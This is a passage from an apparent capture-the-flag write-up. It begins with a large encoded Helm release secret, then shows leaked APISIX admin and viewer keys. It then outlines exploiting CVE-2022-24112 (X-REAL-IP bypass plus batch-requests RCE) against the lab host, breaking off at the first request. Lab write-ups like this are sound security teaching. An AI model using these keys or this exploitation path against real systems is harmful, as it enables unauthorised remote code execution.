zalBmTHZoTzZCTFdkaE1mNVVWazk1dzRzOWk5djROejRpZlJhNjF5SHlXb3NuK2NkemdHOTBNVGgvTVRnUEJKRDFHZmtFZ3lTMDEvWHpuQVExeC9aWTNsSC9VTjdwMmtUa3YwdjgxSXdmazdvVmNpY254d3pwWmNReXp0d0phZXBQWWV1U1kvODBkSEo1VDdTU1A2MmdqTVB5MjJ4ank4bXNVVFZONUhjS3Q1dFkvNzBQRmxLcjBqbnh4Y1ZXNXFRVnBjb2grK2oxMG9XaDMzc2J6d2Q2K1AwYW1yS1pxYk5ldVo2Y0pRZlowZFpNdzZ6b3hrK1B6cSsrZWd4eHRvb1pHMTJaNjZGRDlHcjBaMUFrOVRlK1VqSGQwSUlIUTdaNisyNWR1VzYwTjVLWTJRdk9iaUd3T2F3SDdrd05RWGFrWklZMnVINGNmNDYzOHRMSlpRNU9adzlPbkIybkRPejQ1d3p1UG5SWEV0MzhuRnpKMnYvTDN2ZndwdzRqalg2VjFUcHJlcVo3ellFVEpJSmJHM1ZKWVFRTWdsSkErSDFaWXVWYlFGcWJNbHJ5UkRuM3YzdnR5VDVJWU1ocERzejM4emNaR3QyQmxrNmVwMXpkSjdTWTZYak5zUHhtL0QxaXBtdGF1WFdkZFo5cVFObTFsYlNUMjlRVHg3N0dnK2ZtVm14aGY0aWRLMTM1cS92aWEreHJib2plTm5LN0Yxb2NUdktMOUMrN2dSd2RMRldjU1hmSXhmK0Q4bUhCOG1OaDh0OWZ5eDdiMVl1alBqTzF0NDlHcWVlZFgzaDJJMVRQaDQ2d1ZnL0w2VXZNdG4zK3lqWFlIdi9Hd3ZadHQyNllhYlI4U1BmZlpTYm9IeFZQM0tPSmpFZk1WK0ovRUcyaklGeFZxYVQ0Sjk2bVBLcVV4cVBia29SZjFsT2tsajYwcnp2MnA1SjV0c3djSjJxUnkwdnNObXFmb05oNVB0VzlaVVBDbjgvUHFXeFJUSGYwUExxVkV4ZDMzU2R0ZFVhbENLYjVaWHBkcFB6TGhPTDBGUnhCTzB0R0Nmelh5UDc1Tmg5WG8wTjVxbThxQ2p1d0JYMXg2eDliWHN5RjlXVmVWU2x0dlQ1U3ZzUU5pdGR1VTZtTVo1bjF5TWJUM1FBUGtsLy9HUGxSdVd6dkEyZnBBNHQrTVdlZWZ4KytOUlV2UGl0K1BRMWM0NUorVnVjWXorT1gyL0ZwL2h4eTJIOTdmaDBIVCtNK2Q1MHNZbFA4VGt6S0kyTkh6eEgzaUhuODgvaWkveFJXOFZ2WVVQNEkvMXo2RmtjOFRQSGJuV1doK1FYemhvcWJtNU1CcDU1L1ZYU3ViSjEvOGx4N05BOHg5aU9LdWQ4U3MxS3B6UitCUzRjanVkalJkL3BJODR0bGZ1bVlwb2VtZlJkWlAyVGFrOGFtazdYS3BmTjY2NW50WVErY0xXY1hNdDdLWmg4SUM2S0YxTGp1dmdXK3dhVE9NSFIzWHpRZk83Zk5pN1dNcTdOZUl6c0hDcU9yMzNkK1FaYkEza0h5cVIzU202eGRuL0JTelBzaENmcjIyLzE0SzVQdzdzWDYxUTlxSGRodHRYRDJtZTNZVFhDb2NYS3Fudzl1L3QyVjdudjNkaHAvS0dhdjNWOTQwemNmVGxvQW01eXo4SFdHV21GRjJ2TEhiaHdOUDlUK2pHU1dMeldxN3F5V2svUzljemhZR1dQdXEvR0dhdTRuN2grZk4vQW83Ui9XTVpBck9VeXRwRllsUUcyak1HenJlNmxlUkh5cTh4TnIxdzQybHE3bGx2bDJuNEkrVmFPUzdlbC9LWTBlWG4zdXIwc1M1TUxlOVNsdCtRR2o0ZDNHWHJUNFU0U0crNlZ2SjlHK2JqVkdmeW5QaWRiRis1NCtQeXkzMTZjcFVsNVIxRGpOQnk3Vjk5dXlVRElvRG4yNEp0Vi9MQ3U1RS9EeDcvRW1tMzVGZytoU1ZmaVRHQzVONHR4ZUxvZWp6b3Z0bEVOSjFuYlIyZ2ExWktNV2F0MEttYmxaaG5aRkJYOS9KblBTUm5QOXowMHFXSUZkdVVXcERTcGNHcHNQSHNUR1E4cmRJaXVmTWgzUE9vNi94L1JwSXdObUl3V25sV1IvbW5ObHk4ZnRNM0d1VjVIOTVHb2MxUG16bGdhdjRhSzE4dFlpTDhxVGFyNEI0a3ZMVGg4ZHVSZEs2bitsNzhXOHRIMGdYeFVWc2hoS283TUNmSmhwN0VWZXB6TG41d201VHIwak1GcEp2NUUwR1FzVDdZY21UY200MVNpbUdjOUxzVk9ZZ1ZPM29ERC81TTBXY2R0OTFEZnpQWjg0dmlpY1k3ZlZNOXIySWhEaXZCdkVFeXU0MWovRGQ0bTJpdDVyV1NQNnZOeDcrS3hmeVh2eHdwTWQvQXR5bFZONWJEZmtTWVA4VVB2cEVuU0NlQXd6OCtjNWdTclhLenUzV040WWFyWXpVRVl4L0wzaHFmTEpJZldLU21iNWZXZDFEdE1mRnFCUSs1WnJjRVNEcHVCV2JraHR4WGJnOFp5RmNNWmxTUk96ekp3OEZMRmNRMVA1ZVB2dDQxNmxDOHdlUHhhK3FvOXdQeDFEbHZWRnp2aXQ1SHZNTDEzTU5velc5MEZtT1lVeUx5c1FXQ3BQT2dFNTJaMSttdHZPSTdwTURrUFZYMmhnd3A5VU9iRmM1VWZFVCtHTFhNdE1CeDFCYS95YmcxMVRrWjN4Y1YzMlVuOVBLTGJoYVl2QlhFc1M1eVBGRDEyUDQvdmxoeFZvcHdCY3JkbGg5TDhBdWw0cjVQNlFmUVl2eG5iQTAyWkE5SjF6Skc2bCtNM3orVnFEYmpWZXBieGdVaytrMUZlV0ZHZTFLOVJ6SFNhdTNRUzM3T1cyRFRqZGZteGU3TCtJTDZjMzRZSEhIUWYzRWVld0J2dnN0dTY1eXZ5RlF4Uyt0TDEyRm5qWWdSYjhsN1hVUGtIVXZ2MXBDZDArYktqK1J1aTNFTDFnUDhCZWFGZjQvb3lKMm1RNWhsOVRXMzlUcnQxY1RkNHZKbzlOcThlZTYzNjNETE9CZjliMkkwY2Vvcnp2ZFI5c29Kdk10UG9SSGM3YXZsQnI0Mkh4T3ZSTVVlOVV5bXZLZC9FNWx4UDFCMTdQWjNuYnVSeFJ6NkF4NFFYbmlick5DeVhnckdXcXhuZlhhWGxWQzNzNjI0SWh6ZGxkZmRrN0pkNDh4eTBmTFo2RU11cXM4YkZ2WlJGMHpzbU0vbFh0ckZ3TFBjeE44OUwzaXZjcW9ZL05IY3Q3eXlUYytaeUJ4MHdQbWdNVG4vTGZMTXNYaDJTVzdkTlQ4a1pLT2VsNS9PZGNyTXlDT3hydVQvcjhhaExGWTVKSFVIKzF1YWQ1dTBhMWFXMG5jcTQveVFYTzRvN2tuZUF5TitXTzJDUm4rb0Z0cHgxdTNYajJOZTJJK1NIVFA1a2l6dW9wODdudkgzZWtWOG56M2Q1NTR4Uk5TYWptOU9Qcyt4SFkyYy9mRXB2UCtmS0VSL3NlcGJSV1FuNWUrZWRFajl3WjZWSnVzNmtFdnVkdGZqelRMOVorMHZFQzVkdzFQa203eVFteThCeUIwVG85Qlp4OXNrK1BlMHVWeUhuUjdHQjhwd3BtVEYvTTA0ZGFUdEl4NW5JeExmRHhJZXA3aks4eXVneEJJNjYxQjYyQmYvbFFoWlc4V0dwakN0akFuQ1ZqNVhkZmFWODBOV2Rkd08wUyt2dy9yTHAzVWIzS0FrOUlOWkxyY3JnRzJ4Y3VGRG1LRXU3WktScnBMeExrNVhqdTliRHlYQVMzNTloUnZyTzBqUTZaWG0vZlpRdkhjRTdiSDhHbVRWSXo2aFlKM0NyNFNTK1Z5bTl4MERmUDNuZmhlazZUTWJyTHlOZldPK0Nqa2NUSi9GL3lid2dPZDdrRG42aDd3a1phcUwyVThnbURtcGRDVDNDdVo5VGVSZTUzS2U2cC9kMzFzRDF4Rlk1dWFSS0wvNUs1KzNyRzJkaU9DLzI5YzNwL1p4S3ZKbU1CdUZreUJmeDczYmpRdm9NMDkvaW45STg5YU9kTDFGRjJ1Q2xmRFByMHlXcXBEYmsyV045aVl4QjJYSUgvbmhRbGJEdVJxV3ptMnZ1aURsQjQyb200N292cjZydDkreUQ1UFZ4by9XUjZKbG43VVo3RmMvN05tei9HbzloNGdwOWRUR0R3OU9Td0lYeGNIM1d2cnhiTitJNGltdmJnVU9iMnBkMGZ0ZXZhK1dKVCt1c29jVmNKRFlSVWY5YmZYMVgxK1o3M1hGTTkrdForN0s5dnJ1cy82cWRhVUxYWGQ3amV2bnVzcjdXN2szLzFtNDlyeWFWdTQ4WWpCL1ZDdys5Ni9zZDcveiswOGRuUkRxZzJhb1N6VWR5b2ZLdE9uZW1ZZTliLytUT3dmR3c4MDI5ZWZHOG1vUVhnZzhIWnVVcnk5eERMKy9iMWVObFk3MUY0bjhRdytpM3FtVGZXZjAxMjVlU2phVThXbDFPUnVPVlZla3V6WXArRjkwMi9HNlV1L21HZnRTN0xDTjE3OHJOOVkxakRxdWx5YUM2bUxTNm9lQnpXbG5aTWdaaCs0b3Q1ZnN1ZzZyVU84MnIwdnhHeFQzTXBGMnZjV0cxY1ZmZXB6SVpkVXFqUm50K2M5MHBqVWZkc2hYV2wyTzN1a1NES2taQ2hpNVhYNlJQcXFIVnJ3ais5RGdmTmRwTEZZZFpWZWVrT3dnRkxLMWNqbWRrWEJFQlEvV1R2dTB5TXE2V2srdU5za282RG5zVTV5V1daMmxjLzJDbTNxNlJjeWhiY2R6YW9Qb2l6azl6K0NqNXZkNVd6VGxUdDJ5NWpxWHBpc3cwN0pkYk43bzNvL1M4bXBTaSs0K2FnNWV4Y2JYZWJRZVdzWUl5Smp4ckMvVmVCQytNYkhDeExWSGFMTWZEVHZTbWdvS2QrRit1Snd2TGRlUTVHOTAxbE54UHRJbFRrOUZOYUZadVhxVVRpOXdJbW1DbVlVVjZvOVNUVjVQV3dMaXRkRW95UDJKckhVUlpOUlQ0Mm04TmpNbncrZUErVEZsL3Jlem54bFZvdW5yTVgzZGhHUXRzR2xmaHBKRjlYNkl4OXk1ellsK2tUcDIrVFpOcC8ySVAyL0ViRkVGNjE4cXU5MnNPN3k5WDlvNXlSMitIK3RzNktxNGtmcVBqTmg1RCtuNVB4elJPNWIzVlA2U1gvaFpuN01FNWt3cnZEdVh6QXU1N254Mkh3NHhvSkdmOWMyUDkzcVovSmZKOGYxZ040S2k3eXIxRDUrQzcvdmFOVmZwdVhxelcxYmVFNzhUM1Q0MDZRazl5TnU2YnlobWJsUEdYazlFRk15dU9NL2tSUCtyZXNUcUJ3Ri9idldKNlRrRXZsWG5uNHV4S2N0U0dnNUxsT3Q4RXI0U3RhdGxzZlZYeDZVWW5ISTh1bk1uZTJLaG1lZitkbXErTU5iNURhdk9PYWNVWGszdTlIZ1hQR0VwN2M5a0tMd1ROaG5Bb3ptUE5qL21xZnpyVlk2ME12R29DYjd4M1hiWDducDJMbFVXNmlVM2FibDE1cGpzSWt4ek9hRzEzai9zcVZMR1dGeXZwdjl2T1JWM2Y5NjkrQUFlZUYyTjNrTDFMUk4zNXAvSXNIOHNyMDNWSzhpd2NMVXFXMjV5YnJTczgrWjY4cm9QdWJ0MDMxcXZBZEt1bDJDWTUzalBXY2ViZTlidjViemJXK1QvK2NmU2ZmLzdueTVFTENaNGgrVmg2b1ZCNElwOUFUNzYrV3dQUlU0MGN1WjRET1dMSDZsRmxGM3JGRUxyT0Uva2thdDlpQ3hHR2JNQXA0QXNFNnZJQll0Q2pNNzZHUGdKWE5DRHFaVTN3VTcxMzlUTUlpSTE4UUFrQzFBY3U5WkdBSWg4b3htYkFxUThjQlJIQXVZK1Fpd2huUlFCNkNFbnduZnQrdTlFRU0rd2dZR09tR2lFYnJERmZDRUI4Z1JsWVUzOEpadFFIMExheDZCbzZBSk9aZkIxV0RNUkhjK2pibU15QlJiM1F4L01GQjNSTmtNOFcyQ3NLTUgweGs5NVZQQmFtNE1wZU9RVmpHa1RUMEdZY0xjUVhFTDFNRFl4aVNZRDZTZFI1T29vK1B4MzkvSGNRMGdDNE1BU0VjaEF3cEFGSHp4YnlPTUFFV05UMUhBeUpoYlM1SmIwVWdSeUVBRUpORGpFQlVNNEYwSmxlRFVBZWJaUDRXM0R1MVk2UDErdTEvb3AzUE1YajIzYWoyZWsxQzJyY290RWpjUkJqd0VmL0RyQ1BiR0NHQUhyeXRXYlRRY0NCYTdHRmNwdms5bU1DMWo3bW1NeS9BQmJ0dndDajcxTzZiUEVRTWN0VW9BUkFBcDZPNmozUTdqMGRnWXQ2cjkzN0lzQU0yLzNyKzhjK0dOYTczWHFuMzI3MndIMFhOTzQ3bCsxKys3N1RBL2RYb040WmcxL2JuY3N2QUdHK1FENUF6NTR2NWtCOWdNV0NJbHZ1YjR4TzhTQUVzb2pmekVNV25tRUxPSkRNQXpoSFlFNVh5Q2NDVnp6a3U1aUpyV1VBRWx1QWtRK1FxcWRWdDJkV2ZDTFF3eEUyMU1DcS9FU1dtTmcxMEpCMGRBZTlKK0lpRG0zSVllMkpBRUNnbTVCZC9GcytvVnFMbDEzMjlFU1NGb29pSlRuV3dQOHRpQ0lBUGtYL2VoZlNWSkRlaVR3VnNIY2hVUVhxM2NoVWdYc3ZVbzNuK1Yza210bkN0NUp0cHZHN2tLOEM5UzRrckVDOUh4a3JlTzlDeWdyVWErU3NyYTZpMHByNkFRQ2hOcG82bUhGRWFxQmFPaThCL2U4VHFEKzBlKzBSVURYa0NLalA0OGJxNmVYcEFrR2Ztd2p5R3VCK2dEYStRdHZGWlBlWHFVVjlsdnZaUm1Zd3J3SDVyUE1UMmZxNG1yclVSdEYza1A4bkZwa3pRT2FZUEV2S1JmN1U4Nm1GbUtRNUNzb0F6d0JEWEhLYTdTSDRLR0JJekZnTmNHY3ZUVms5NnFkM1ArMDJIM3ZOaC90dUg3QTE1dFppbzVmaVJqZllXNTFGUFd6QWFqK3N6b0NQR0hWV3lJOWJLZVk1dFJEaHlLOEJ4QzBiN1B6N0pML1hKQStRTlRrRmpGTmY0WjRDQlZiUVNlZitwcjlQUVBId0dSTFQzQVFKWmo1MWdYelFYOVpURE9oZnh5RU4vS2tIK1VLS1p0SGIydkkwK0ZlNjA1L2s4OWxpdnppMXFGUEw2ZnRCMUJEL0wydEVYUWUrcElRRURJaXdkeXJmL0ZlN1dTMmZsMU13Z2h1TGNza0ZnZXdXeE4xS3NoUXR2d0RNZ1kxbk0rUXpOUytOZGdReFNoQUtxWXVIcnFYb0d6UFZ1UVVKb01RSmdZOHNoRmRJOWdxaWg5N3podllGbUFIUGpPSXBLSldNTTIwZ2g0OWpiKzlGMEo3SkUwVWg3Tlk0NUdFVE1PMmtrVFBpOVBEK0Q1MTAvcmF5ZEYrTnQyMHIwd0JHNU1ndGIrcDVXeVNma0tiQThoeG8zUEpVc2NRVXdXMllMSThmaHhlZmlxSVM5VGJ3TTlQdmxOTnA0S2xHRzB5QjVYVWR5VWh4RTZDZTlVL0pTRkdSSmM3ZjJvNjFWMlRVZ05aQ3lTMDVWQVNBaEREbDNLbUJjb25sWWpJQ05wckJ3T0d5c29ERnNZc0U4OHVNMEthSVNibEVuWFNoWWh0U3lCSDEweTVmS0VHc3RwZDRFUENnRDEzRUJWWFNtUkJQQktBVVJpR1NUbTNNbG1vVnBrSk96TUlRVldLUlJ0YjVBaVQ1Q05rQUN0bFJVSWNaSDgzaDRWaTlYbUJyRWMrTlN2SXdROVVkSnJJNzJZODRsWFdnTG5LcEgwNFpma0UxY0ZweWM2WXR2b2toc3dVVUlwSnFJVER2TXhQZGJQSjVPUUpNYlBTczl5TVhSZlZTYnVVdmI5eVBxUG9LZUNIZGIwRVhYTDRHbm82T3Vlc2RaemZoNlNqWlFyNDRCS0JxNmFBVmNwaUFXYTRaVDBkYkkxNWc1RVBmV29SQTFjeEJpMCs1ZU1IWFZLdXd2UXVaajVtbDIvNnlhOXFpajZOTTlkeEpwZVFMSFlldVl5RXFCOE1pSVZ1S0MxSytSdVRZcGhZN0ZoK095ZnhaSFh2UUVrS1BFSmtDQnhVWDNIVStTY2c2b1pTTlg0cWxZcWxZUGpaTzlDRVd3Tk5SclhaOGRxS05QRDFpSk5NdGFjYzJ1SXlZQUtkTFJNQjZnWWhFL1BwRFcyeXlCUjNGTCtzUzgrc1A3V0xhOUw4NjkvM21mOVhBTlo0djFGbEVYUmNSV3lHY1MyM0ZMakNMNUF0T0pTTkVGbzhrMWM4c0YrNGxadEIwSkVjU2pUTXNEbUNPWE9BaVNBUi9oVndwWFRHUWhGdWx3Q0s5QkVBU0FoandCU0k4VW5HVEhwVm91MFJoTFYzZ1R5QmFMOEZNMEFyNUlaYzhVcXhGZGtCWnZJOHg5ZWxJSGVsSE9rbUlMZ0E4dHd3ME96VXRxL0xMR2FwV3kzQldNbzBUR3hwVnF3TFBmOUViK05RUmFubFdPUGdFVmhpdGhUQXBSUUF4UUZGdzRMQlUyNXh4VlNzVnk3Sm1zM1B6MUQ0NW1aMldERmlabFZDcGV2TExtVmt1bjIrUEt3SkY0ckpBU0xocE5ZbnM0TE1QYmZ6TWZZU21nWTgvNjBLRS9xRUdYQ2lFVWdsRnNOM0F4eitaa0NHaDV5VTFmMzZEaUpKQVgxREdjN3NRSDhEL2VyVW54cHpNTkJqUnBwSHBpWkh0VG5xZDloN29uNEJOMkRUV0daTEYrNVNsNklUV2QzMy94U2dhc2tKcFY0M3lTVkg3WjBjdHc2Z1VUOFgvZGtFcHl2L3QrSHBlbFAvYitxclBjTHFDRHJacm9KSU1OUGtpcEFrYThCcEllaGNMbjI2RGtyc1NGVE5iTFBtbWtkVk1FNWt6a2paUFRpcVpUVTJVRmNuSis3ZTlWUm5JL3kvRy96YWlmMWQwY2hFdExld3RrQy9iTlJ1WDE4MUNzM0hacXhmcXpWN1pPQyswR25lRjNuWGRPRDJycWEvZFBkK1Nsc2JwV2Z5MWNuNlNiWm43VGJWc1hOY2IxM1dqVkhpNHZ4MlhLNlZUcmVYMnQ5MmoyZDNiYm1nNWM5ODE3L3c1UjE5eXErZXR6NjYxeVZtWDlFdHU5VnIrK0xZcml0THQxZHBlcFN5YzNQYWlXMzBFelY2aGNkR29pQitwRUNGbGc2bmk1YnRVZ0VockYyZVJqeElMVXV4Q0VlZnNIQkhvaS85V29vWm9rSmd4ZkovNlU0Zk9wY1JqbzlVeDR6Ynl0U01ocWFFRUhWRnZEWDJpU1crZmdDajRJaXZHclNLTGpTL05XMU5DWjFoUXExRTZpY3hVeWxSSkF0ZEV2cER5eEhjR1lOUU9SSlllcGRwNmlId0JiRUVEeHhhU3ZBUDl1WndrSkhFM0ZpVUVXWkdsT2hyMkNoR3VNWXp0bWtJWk9qTVMxaU1QcUMxT0VnbGZjb0d5N0VUL2tpNGREYmpPSHRKS1UyVm5GblgvNWlPWGNqU0Z0dTJEQW9oL0JnejU0TC8vSmpqZlZOcGQvZ24rSmdWQWVUSTlQY21HVXJrVy93Myt4amprQVFOL002a2RUczJRSXpabGlIQVExNUk4VkxXVFlIdzBRejd5WmVPMFZQUTZoWE5FSXFpeHFxZEdsLzZNZTBzS2ZNUThTaGpTdWtrcld3dmtvdHJ4Y1Zva0pwSCtDbndzV3V4ZHFpbGlGdlNFbksrRTByVHFFaUVQT25pRjBtUGlUTk5yUDRHb0dOaUJMOFEwcGNwQjJhNGdHd0xMd1dLdFVuUUFhK3c0Z0hFWVNvUVRCN1MwNkVxVkhEQnNJODB5cEZwUEZ3amErbGtWRHlJZGdDSktxSndLcXN2WVFLSWFmeEc5RUhCU09nYy9kYU12ZmV5aUFnMzR6NHIyQUdiQVJ6endTZXBXVWJDMkJpUlJJV2RORGhxUWFQeE93MkdJMk9rNHRtd08yZUZ3SHhMbVlzN0ZtQ0NJOFNvTHV5akhGUmtwNHkwVDZvQkRHYkxUbnFVSm5WblVSMnlLU2JSRDhtaW1pbVY5U2d3ZFNEUE1DQ1dIenZUVzBzbVN0Mk5naHBGanM3UkxIMEZuaXIyb0w5SFZxTkJGMENtMEh4U1RQRmpURTVDd2w5SDBzc0MzTzUzNTFQMFI1VEtuUzRiNFZBZXZTOWs1MHFjcS9od1EvRno3SEo5YjBuQ2RjRmJLZU8wQUlWMWFLRHpLR0RhVk04MUdNMHdRY0FPSFk4K0pqT0FDR2dPQ095bFhRR1Q3WWRDTktsaE93RGp5aTdxKzgzUVVyWWV5VnhkRXhhTHU0Q3l5bFZXTVcwcnVXek1xdjFSVEJ1WDVhSWFmSmF1UHZLVkhzV29vZjJZVkxoYlZqMXNudEZBcHlUYVZFbURJb2lUR0l4c3ppd3E5TWxrMEZQaG9DYlVEU1pycHA1aHc1Sytnb3d2TjBRcnI4NDFuUzJ3ZnJXdU1uNVQ5OVVsb0xDb25xd3I1MzJoRm5VQXF2UjVkUXU1U1VseHdzM1orZnE3cGRmR0VqOVZJanRNdjhXUXk5aDFGbGVLSUw1VXl5aUdDZGcyY2JwUUtCckZaZDQzd2ZDSFpSVlRvT2NFY2t6MVdSUEFwcWlObCt4aFNRZXhJd2ZRUlhLWVVVNURxL2t0aGlVTExvWENabHB1UVlhc2d2dXBsM0ZvVUlycG5hYmxGQ1F0YzVCZDh4TGlQTGQzTUtyNzZXbDFrTFdqNlM3S2NBaWJmMEVhanVlOVpCY2tDTFdxanRIemh3czFSaVUwdE9IUSsxNmVGdmZ6QkJEQy8vTnVhYjRCZHd0a1Nic0Zkb25Dam5oVGxDbUtqdDhzQ3dqY0xmZlR2dEloUUd4V1VDSkVXaW5NVzI0VUlkVFozeW9MTXhGcFhuazlkeEJkSWh5QU41SVdNZlRBdWRMRXVqc2FsUGxyN21HdVZmV1JqUDlON0pDYmxyMTZFRWdWc2I1ZEpaUlp1MWxlSDJYYkhTckJ3RUdNRmp6SmVtQVZrb3krOWhvL3lLamhzYTl0WXlCdzZUMzl6YXh0bEFqdW56TWNGMDZGV2htVFcxSmtWZkJOYWFkRUw5cGI2cm5BZnptYllLakRQd2RvaXpsK3dwNjhDZEFweFFleFRpWWc3cmVYK20vT0MzS2JYc1Z2SHhmd1FNbXNCZmM2T0JhUFh3c25ZeWlxSW8xU3NhaFJSbGg4djAwUCtDbHRvVDdTTVBFTVNZSHRqWndCd29JbWNlTExRODRyTHdFUStRUnl4SXFiSENxNEFxR29za09NVzJVSk5RbjBvbkJXTjR0a3VBSmd3RG9tVkNlWEpxK2RDQXVmSUxwaGhEVndqUjU3dGtCQWFSU0JFQTJScThrWG9lQXU0QVlGVEJ3bGRzaEFRd2RyREFpSzJSekhoVXNpU0t0TFJFMkVlc2lRd0hnb0p2cUVPMXZhRERDQ0tmOVJBaHhKSkVsNWdPcGd0T3BSM0JjeDZmTGluT3BkSGZSNFBMelZmUm5KbmVraEwyNDQ4dU9PRFZ5aUwvRUdXNjFKcUNzTkR1Z0UwaG5CZXlvTWc2eEt4UUE2eU9QVVAzdEJEZHV5TmVQd2U2UHVYd2RwOStQYmVxS01pYjFRNUNSem5QUkFxSCtydmlHWWFhaW5VS2Fob2lJK28yNCtvMjQrbzI5ZkQ5SDZBRVNjT3ZUMmNlUE9Nem5EbURiNGJnUzBWejR1Vi9ZeGpQOWM5bER1djRsay9IUm5Gc2xFc3g4enZNRWFlVnkvaVFadEx0TUhsT3hIRHpETDV3bzdWalZteGNubHZNdUswTkExYTZ6Y2Uzc0NGMzdxWWgvTGhPZVJvRGNNUFR2ekJpVDg0OFhmblB4ekFoeU5DKytERSt6aHhza2g3ZURGNjVzZ24wT2tyMjhBRGRiQVZKa0w1WG02dDdVSE1yM081ZGVtUHhxMXQ1RGswRkp6emcxRi9NT29QUnYxR1JnMDlqeDJuM1BveW9hYnZUVmY3Q3pIbWhOUDZTTTZRMVVBNWg5UEpTTE5iZmRLSHplclFlY1c4THU1TzN4WUpaY3VNS1AxQ0MyUXRXZUFleHpFczhBeVZyVm5GT0tsVXEvYnNySHBlT1VIUXRxMWZyQm1xR21YenBGdzlRZGE1Y1FwbnA2V1RzNU16eTdDTlNzV2FuWjViWndZNmkwRTcyWmtlT3RmRGR6RlpkbVVSdFFJZjg3QkJDVWZQdXVzcnRRQkpKNWhnTjhobnRlMWd5ODF4N0FPNkNWajhZUmZPVlNpcFpFK1JGN0ptRk11bFlya0FIUThUbEEza2xDMGVBc2VKVCtEMnJFUDVnNDlZeGxtZnRaQnREbHZ3eGMwNHkyU2VtNmV4Qm5MelhONkd6QjMyR3VCTWtON0JnSFBUWnpaQmw5OHdaaFV3Z1JoNzhLbUpOaFpxQnJFVCtLaS84QkZiVU1ldWdiTnNCVXd3eDlDNVJBNE1lOHJwV3dQbGpkNDk1R05xNy96TUFoa2RvM1ZTemxiZ2x0ZWoxaEp0WWxHaTlXN3RVZVRGVGJ2VVB6dDRocXpRY2pZbjYvbW94Nm0zMVFsNjFvaEZYM1RYaGNUTytWSUF4eVlteDJ5Ujk2bGc1WlUrSFRFSElROVVTbGswWDFFbmNORWREVWdPRXJ1aStFRkc5QjhIekQrV3J2M2oyTFpPeWV4WXkyZmU3RFVqbXFwNm0xVllZQ3JvTzhENGlFbVJjWE5rLytjLzhXK0JIbzF0eGhFajh4cGlYa2d0dkJvbk1BTVdtdlM1Vmk0YW10cytYbkx3MzUvWjR2TVg4TGxnZmY0Q25vNEN3ckVEaUFVS0wrRHdJQWhwRVA4N3NLbDBaOHZCeEhIdk10YmlYemJrNkY5L0IycG5ERkdUb0w4L0hmMHpIcERhbkN3L3RPSmM5RTJPdDROUDd0a0dvV0FRek1QYUc5MG5ISEkwQ3h5R2VJNGJaVU1ZNlVXVmU0ai9aZjBwT1RKRzVRZGxEQjFuRHh0cXBHdDI5anBaUFdyZnllRUw2VEErMkI2Z0R4MEhTY29MUElHVFBlNURqdVp4UEkxU1VydlVjVENaUDhvYWg4ZzBCd3NaV1FKOVplUGVzbmx2MGQ1elhibTZGSk5ETmVrcFlkZTNTOU1tcWdiaE9MZVdKNE1tZkdSZnlvRExuclZBZGlDV3VqMG5OQ2x1UGlOTGhoMXRjV210OXo3eTNaenpRdTVFTDR1TjJiODgzTXorSGJaNSsxdnMzaVdkVzBuNnp4OUdRVXB3R2w4NDJxN0ZxVWNkT2c5L1JXRU5aUHRmVU1aRkQ1dU5rdUFwVFRLbE50cTdwN3ZsenhscitUVHdaQ3hXT2EwdXliTnV5WENmVHVUdGpJTnpqdzRTZ2plWE9qcktiQmw0SXVabllqRTlMQmwyclZJOEtaYlBDall5TVNTRmNxbmdwOGtxdVFMdTAxRkd4RDM2WFVVYUtkUlFqeWR6WUphUHZmandFWm8ycDE0eEsvSHNWd0g4Z05SWmg1SXVwWHd6L0R6NS9zaVFuOTBvRmI2KzJpSFFYN1Q3bmZwZGUzclp2SGhzYmM1Q3B1YUpkVlI1TlVmNUlPN0cwNGY3eTJuN0liZjVsVS96S0ZpR3pYYlJMSGZsNUVjbFNLa29zYUpIN2ZiRDN1NDc5YnZtYnpHQStCUW9idE5aUElKbXYzSFo2TjlPNncvdG5TdFkyYlY2b3ZIMHZqUDk5YnkzczNHSTJON212WDY5MjU5ZWRlL3ZwcjFPL2FGM2ZkL2ZDWXZRdmFBdTI3MTZyOS9zVHJ2Tnh2MmcyUjEvTDZDZCt5RnpIbjdTZHUzbi9RT3E5K3ZUeTNaM0o2d01remlXcVkzNzROM2V0NmEzelVIemRpZEFUR1k3cDFhL3ZiMGZUanYzbmVhMC90aS9ibmI2N1VhOTM3N3ZmUGZlMVM4SHpXNi8zV3RPRzdmdFpxYy9mZXplN3NhRXlDNlpYYjlpbm5UMHRuam12SVZxOS9yTnpsdEdWWktoNEtYWFFiYzc3WDY3ZnF2Ti9hSFo3UDUrTXo4dkhUTHpnOGVVenZzVndQRzhHN2VQa3NiNjk3ODJkMk9PbkZRMDlNTHluTDBKZEs5ZjcrK21QNExXYjRHMkU0NisvS1YvYkFmVkYwcmZ2VU5mOUlibFBOamw5NEZ0NU1FMmZodk1pbmZuOHY2dTN1NGN0S3dIOXAzdEZwSFYxckczejZ5M21iR1RheVRUbytIZVlIL1RnOXAyUW42RCtjM0JLN1RMK3BZcnBlMDFPKzJVMEJZSU9ud2hEZGJGVGJ0VXJnM3ZiTDhOci9LS3dlMzBqU2ErYlVQajZjRkd5ai93TXBWLzcyWEtOOGhKYnhXcmFZYTV1TDVLQXRuOHN0ZnFHTjFQc25FSGl0UlNOWHVrTHNiazJjdlVmemNjaU4xK2JMcEs0bGkzYkJVZ3A5ZU05aCtuV041UmUyUDJRaWZ0SW1nUGZjelJQYkV5Z24vK2dpWExzckU3blBxUm0rSzhoUVdZMXh6bkN3OStlTXcvUE9ZZkh2TURQT2F2MFJJbWN6OU5iUG1ncHc5NitxQ25INkVuenpZL2FPbURsajVvNlIxb0tRNW5keW5CblBvZmRQVkJWeDkwZFFCZEhYMDVpcUlIajJybEwwZUpkL0dvbG5Fakh2M24vd1VBQVAvL1VMRFU3M0RGQVFBPQ=="
},
"type": "helm.sh/release.v1"
}
]
}
That has two interesting variables related to APISIX:
"APISIX_ADMIN_KEY": "YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=",
"APISIX_VIEWER_KEY": "OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg="
APISIX RCE
Strategy
I noted above a CVE in APISIX that this version would be vulnerable. It allowed bypassing of IP whitelisting, but also added that if the keys were left as default, it would give RCE. The keys were not left as default, but now that I’ve leaked them, it’s basically the same.
CVE-2022-24112 - An issue in the X-REAL-IP
header that allows for bypassing IP restrictions, and, if the default Admin Key is present, the batch-requests plugin will allow for remote code execution. This POC will exploit the vuln, but it doesn’t work here (likely because the default admin key was changed).
This repo has a POC, but it’s really just making two HTTP requests to the APISIX admin API, so I’ll do it manually to understand what’s happening.
Find API
APISIX is running on TCP 443 over HTTPS. The first request goes to /apisix/batch-requests
. If I curl
this from my host, it returns no route found:
